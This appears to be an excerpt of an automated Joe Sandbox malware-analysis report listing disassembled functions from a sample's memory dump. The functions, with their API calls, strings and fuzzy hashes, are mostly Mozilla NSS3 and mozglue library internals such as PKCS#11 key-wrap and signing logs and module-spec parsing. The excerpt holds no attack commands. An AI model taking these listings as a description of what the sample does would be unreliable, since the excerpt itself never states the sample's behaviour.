Part of subcall function 6C2A4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C2A44B2,6C31E21C,6C31F7F8), ref: 6C2A473E
Part of subcall function 6C2A4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C2A474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C2A44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C2A44D2
InitOnceExecuteOnce.KERNEL32(6C31F80C,6C29F240,?,?), ref: 6C2A451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C2A455C
LoadLibraryW.KERNEL32(?), ref: 6C2A4592
InitializeCriticalSection.KERNEL32(6C31F770), ref: 6C2A45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C2A45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C2A45BB
InitOnceExecuteOnce.KERNEL32(6C31F818,6C29F240,?,?), ref: 6C2A4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C2A4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C2A4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C2A466D
VerSetConditionMask.NTDLL ref: 6C2A469F
VerSetConditionMask.NTDLL ref: 6C2A46AB
VerSetConditionMask.NTDLL ref: 6C2A46B2
VerSetConditionMask.NTDLL ref: 6C2A46B9
VerSetConditionMask.NTDLL ref: 6C2A46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C2A46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C2A46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C2A46FD

Strings

WRusr.dll, xrefs: 6C2A44B5
kernel32.dll, xrefs: 6C2A44CD
G1l, xrefs: 6C2A44FC
user32.dll, xrefs: 6C2A4557, 6C2A463F
NativeNtBlockSet_Write, xrefs: 6C2A46F7
l, xrefs: 6C2A4578

Memory Dump Source

Source File: 00000000.00000002.2206661284.000000006C291000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C290000, based on PE: true

Associated: 00000000.00000002.2206605715.000000006C290000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206835734.000000006C31E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206892942.000000006C322000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c290000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: G1l$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-1488388612
Opcode ID: a890c88d8731702623b5caab1e12d527427bb89a0970c5ac748d721ea0306280
Instruction ID: f0a745e99abb31ba87a63ef289d9e1fb76108a2fbad618546c1242b302d4945a
Opcode Fuzzy Hash: a890c88d8731702623b5caab1e12d527427bb89a0970c5ac748d721ea0306280
Instruction Fuzzy Hash: 6E6115B0A043489FEB049FA0DC0AB957BBCEB4A70CF048158ED049BE51DBB5C946CF61

Function 6C486E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C33CA30: EnterCriticalSection.KERNEL32(?,?,?,6C39F9C9,?,6C39F4DA,6C39F9C9,?,?,6C36369A), ref: 6C33CA7A
Part of subcall function 6C33CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C33CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C34BE66), ref: 6C486E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C34BE66), ref: 6C486E98
sqlite3_snprintf.NSS3(?,00000000,6C4EAAF9,?,?,?,?,?,?,6C34BE66), ref: 6C486EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C34BE66), ref: 6C486ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C34BE66), ref: 6C486EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C34BE66), ref: 6C486F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C34BE66), ref: 6C486F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C34BE66), ref: 6C486F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C34BE66), ref: 6C486FA6
sqlite3_snprintf.NSS3(?,00000000,6C4EAAF9,00000000,?,?,?,?,?,?,?,6C34BE66), ref: 6C486FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C34BE66), ref: 6C486FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C34BE66), ref: 6C486FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C34BE66), ref: 6C487014
sqlite3_free.NSS3(00000000,?,?,?,?,6C34BE66), ref: 6C48701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C34BE66), ref: 6C487030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C34BE66), ref: 6C48705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C34BE66), ref: 6C487079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C34BE66), ref: 6C487097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C34BE66), ref: 6C4870A0

Strings

winGetTempname5, xrefs: 6C487071
winGetTempname2, xrefs: 6C4870C4
winGetTempname1, xrefs: 6C48708F
PLl, xrefs: 6C4870A8
winGetTempname4, xrefs: 6C487046
mz_etilqs_, xrefs: 6C486F18

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: PLl$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-1947907111
Opcode ID: 590ca0423b7df757b5fb8a89be59e4e82091b9acbb1ddabd2c3ef8f9bbde257b
Instruction ID: 662d614a9a8918e19f7e87abac9c8564fc5742d45a52551c69168cd5dce7a626
Opcode Fuzzy Hash: 590ca0423b7df757b5fb8a89be59e4e82091b9acbb1ddabd2c3ef8f9bbde257b
Instruction Fuzzy Hash: 6E5169A1F162216BE300D6209C91FFB36268B83359F144538E91997BD2FF25D41E82E3

Function 6C3E8E50 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C3E8E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C3E8EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3E8EB3

Part of subcall function 6C4CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C4CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C3E8EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C3E8EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C3E8F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3E8F29
PR_LogPrint.NSS3(?,00000000), ref: 6C3E8F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C3E8F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3E8F80
PR_LogPrint.NSS3(?,00000000), ref: 6C3E8F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C3E8FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C3E8FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C3E9047

Strings

pulWrappedKeyLen = 0x%p, xrefs: 6C3E8FC8
hKey = 0x%x, xrefs: 6C3E8F5B, 6C3E8F6B
(CK_INVALID_HANDLE), xrefs: 6C3E8EAC, 6C3E8F1F, 6C3E8F79
nLl, xrefs: 6C3E8FEC, 6C3E9023
*pulWrappedKeyLen = 0x%x, xrefs: 6C3E9042
hWrappingKey = 0x%x, xrefs: 6C3E8F01, 6C3E8F11
pWrappedKey = 0x%p, xrefs: 6C3E8FAD
C_WrapKey, xrefs: 6C3E8E71
pMechanism = 0x%p, xrefs: 6C3E8EE0
hSession = 0x%x, xrefs: 6C3E8E8E, 6C3E8E9E

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey$nLl
API String ID: 1003633598-2395922464
Opcode ID: 5daa1fb5d456f67b78b26e9d61a45c76a221df2b60b56728f0912dbd1c6aadea
Instruction ID: 41aebc1deb6d7d5ad368146bca09c9cdac8ba4a1d8fe9da9dda0d3247e27961c
Opcode Fuzzy Hash: 5daa1fb5d456f67b78b26e9d61a45c76a221df2b60b56728f0912dbd1c6aadea
Instruction Fuzzy Hash: B551F135A41254AFDB00DF449C4DF9A3776EB4A31DF06402AF9086BE22D7319919CFA7

Function 6C414FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C3C75C2,00000000,00000000,00000001), ref: 6C415009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C3C75C2,00000000), ref: 6C415049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C41505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C415071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C415089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4150A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C4150B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C3C75C2), ref: 6C4150CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4150D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C4150F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C415103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C41511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C41512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C415145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C415153
free.MOZGLUE(?), ref: 6C41516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C41517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C415195

Strings

library=, xrefs: 6C415043
name=, xrefs: 6C415057
config=, xrefs: 6C41509B
parameters=, xrefs: 6C41506B
nss=, xrefs: 6C415083

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: fccb9019cb71bb9d62d89b2c4b23bd9d219193baa349f197e8cca5cf640e12f8
Instruction ID: 9a29c526f9c4412e20203b3b5aed2552e37c3c7206b35cc8216e84ef16e5adfb
Opcode Fuzzy Hash: fccb9019cb71bb9d62d89b2c4b23bd9d219193baa349f197e8cca5cf640e12f8
Instruction Fuzzy Hash: 025191B1E052055FEB01DE249C41EFA3BB8AF16259F140424EC99E7B41E725E919C7F2

Function 6C414C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C404F51,00000000), ref: 6C414C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C404F51,00000000), ref: 6C414C5B
PR_smprintf.NSS3(6C4EAAF9,?,0000002F,?,?,?,00000000,00000000,?,6C404F51,00000000), ref: 6C414C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C404F51,00000000), ref: 6C414CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C414CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C414CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C414D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C404F51,00000000), ref: 6C414D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C404F51,00000000), ref: 6C414D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C414D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C414DA2
free.MOZGLUE(?), ref: 6C414DB9
free.MOZGLUE(00000000), ref: 6C414DCF

Strings

rootFlags, xrefs: 6C414D47
every, xrefs: 6C414CA1
timeout, xrefs: 6C414C91
ootT, xrefs: 6C414D1A
slotFlags, xrefs: 6C414D34
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C414D9D
any, xrefs: 6C414C96
0x%08lx=[%s %s], xrefs: 6C414D80
rust, xrefs: 6C414D22
%s,%s, xrefs: 6C414C4B

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 40ce74b04f9f9159db736eae6666f4c9cd2af85a3a77cb9fa6641b8e7eb9c53b
Instruction ID: d32d82e28e098ba6dfc6b4b6b6766d12d641f1d86d441beae80b11eb6e119c0b
Opcode Fuzzy Hash: 40ce74b04f9f9159db736eae6666f4c9cd2af85a3a77cb9fa6641b8e7eb9c53b
Instruction Fuzzy Hash: 39418CB1A141416BEB12DF149C41EBE3A65AF9639DF0A4128EC5A4BF02E731D924C7E3

Function 6C3F6CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C3F6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C3F6943
Part of subcall function 6C3F6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C3F6957
Part of subcall function 6C3F6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C3F6972
Part of subcall function 6C3F6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C3F6983
Part of subcall function 6C3F6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C3F69AA
Part of subcall function 6C3F6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C3F69BE
Part of subcall function 6C3F6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C3F69D2
Part of subcall function 6C3F6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C3F69DF
Part of subcall function 6C3F6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C3F6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C3F6D8C
free.MOZGLUE(00000000), ref: 6C3F6DC5
free.MOZGLUE(?), ref: 6C3F6DD6
free.MOZGLUE(?), ref: 6C3F6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C3F6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C3F6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C3F6E72
free.MOZGLUE(?), ref: 6C3F6EA7
free.MOZGLUE(?), ref: 6C3F6EC4
free.MOZGLUE(?), ref: 6C3F6ED5
free.MOZGLUE(00000000), ref: 6C3F6EE3
free.MOZGLUE(?), ref: 6C3F6EF4
free.MOZGLUE(?), ref: 6C3F6F08
free.MOZGLUE(00000000), ref: 6C3F6F35
free.MOZGLUE(?), ref: 6C3F6F44
free.MOZGLUE(?), ref: 6C3F6F5B
free.MOZGLUE(00000000), ref: 6C3F6F65

Part of subcall function 6C3F6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C3F781D,00000000,6C3EBE2C,?,6C3F6B1D,?,?,?,?,00000000,00000000,6C3F781D), ref: 6C3F6C40
Part of subcall function 6C3F6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C3F781D,?,6C3EBE2C,?), ref: 6C3F6C58
Part of subcall function 6C3F6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C3F781D), ref: 6C3F6C6F
Part of subcall function 6C3F6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C3F6C84
Part of subcall function 6C3F6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C3F6C96
Part of subcall function 6C3F6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C3F6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C3F6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C3F6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C3F6FF4

Strings

+`@l, xrefs: 6C3F6D0D

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`@l
API String ID: 1304971872-2866634357
Opcode ID: 81c74c9afe6b8ffc50e7b9868f3b7eeac780b5f34022d989cce297f7eca8e346
Instruction ID: b947aedf647c8d49fece4c3804974c415b53b0aef80f3275402c1e6e8e68afc9
Opcode Fuzzy Hash: 81c74c9afe6b8ffc50e7b9868f3b7eeac780b5f34022d989cce297f7eca8e346
Instruction Fuzzy Hash: 55B164B1E012099FEF00DBA5DD45B9E7BB8EF05348F140929E825E7641E732E916CFA1

Function 6C3EAF20 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6C3EAF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C3EAF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3EAF83

Part of subcall function 6C4CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C4CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C3EAF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C3EAFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C3EAFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C3EAFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C3EB00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C3EB028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6C3EB041

Strings

pSignature = 0x%p, xrefs: 6C3EB023
ulDataLen = %d, xrefs: 6C3EB00A
(CK_INVALID_HANDLE), xrefs: 6C3EAF7C
nLl, xrefs: 6C3EB059, 6C3EB093
ulParameterLen = 0x%p, xrefs: 6C3EAFD4
pData = 0x%p, xrefs: 6C3EAFEF
pParameter = 0x%p, xrefs: 6C3EAFB9
C_SignMessage, xrefs: 6C3EAF41
pulSignatureLen = 0x%p, xrefs: 6C3EB03C
hSession = 0x%x, xrefs: 6C3EAF5E, 6C3EAF6E

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage$nLl
API String ID: 1003633598-2012623197
Opcode ID: 8cc77800f99f9af838b9b7b66fb0dece7df8d334c107209a81291075ff8d8bcc
Instruction ID: 480a70a4a75eca182937100bfc46e80960614ff1a8eb51cf3150c4789b070add
Opcode Fuzzy Hash: 8cc77800f99f9af838b9b7b66fb0dece7df8d334c107209a81291075ff8d8bcc
Instruction Fuzzy Hash: 1741C375641254AFDB01DF54DD4DF893BB1EB4A31DF0A402AF4086BE21D731A858CFAA

Function 6C3F2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C3F2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C3F2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C3F2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C3F2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C3C4F1C,?,-00000001,00000000,?), ref: 6C3F2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C3C4F1C,?,-00000001,00000000), ref: 6C3F2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C3F2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C3F2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C3F2EF8
PR_Unlock.NSS3(?), ref: 6C3F2F62
TlsGetValue.KERNEL32 ref: 6C3F2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C3F2F9E
PR_Unlock.NSS3(?), ref: 6C3F2FCA
TlsGetValue.KERNEL32 ref: 6C3F301A
EnterCriticalSection.KERNEL32(?), ref: 6C3F302E
PR_Unlock.NSS3(?), ref: 6C3F3066
PR_SetError.NSS3(00000000,00000000), ref: 6C3F3085
PR_Unlock.NSS3(?), ref: 6C3F30EC
TlsGetValue.KERNEL32 ref: 6C3F310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C3F3124
PR_Unlock.NSS3(?), ref: 6C3F314C

Part of subcall function 6C3D9180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C40379E,?,6C3D9568,00000000,?,6C40379E,?,00000001,?), ref: 6C3D918D
Part of subcall function 6C3D9180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C40379E,?,6C3D9568,00000000,?,6C40379E,?,00000001,?), ref: 6C3D91A0

Part of subcall function 6C3A07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C33204A), ref: 6C3A07AD
Part of subcall function 6C3A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C33204A), ref: 6C3A07CD
Part of subcall function 6C3A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C33204A), ref: 6C3A07D6
Part of subcall function 6C3A07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C33204A), ref: 6C3A07E4
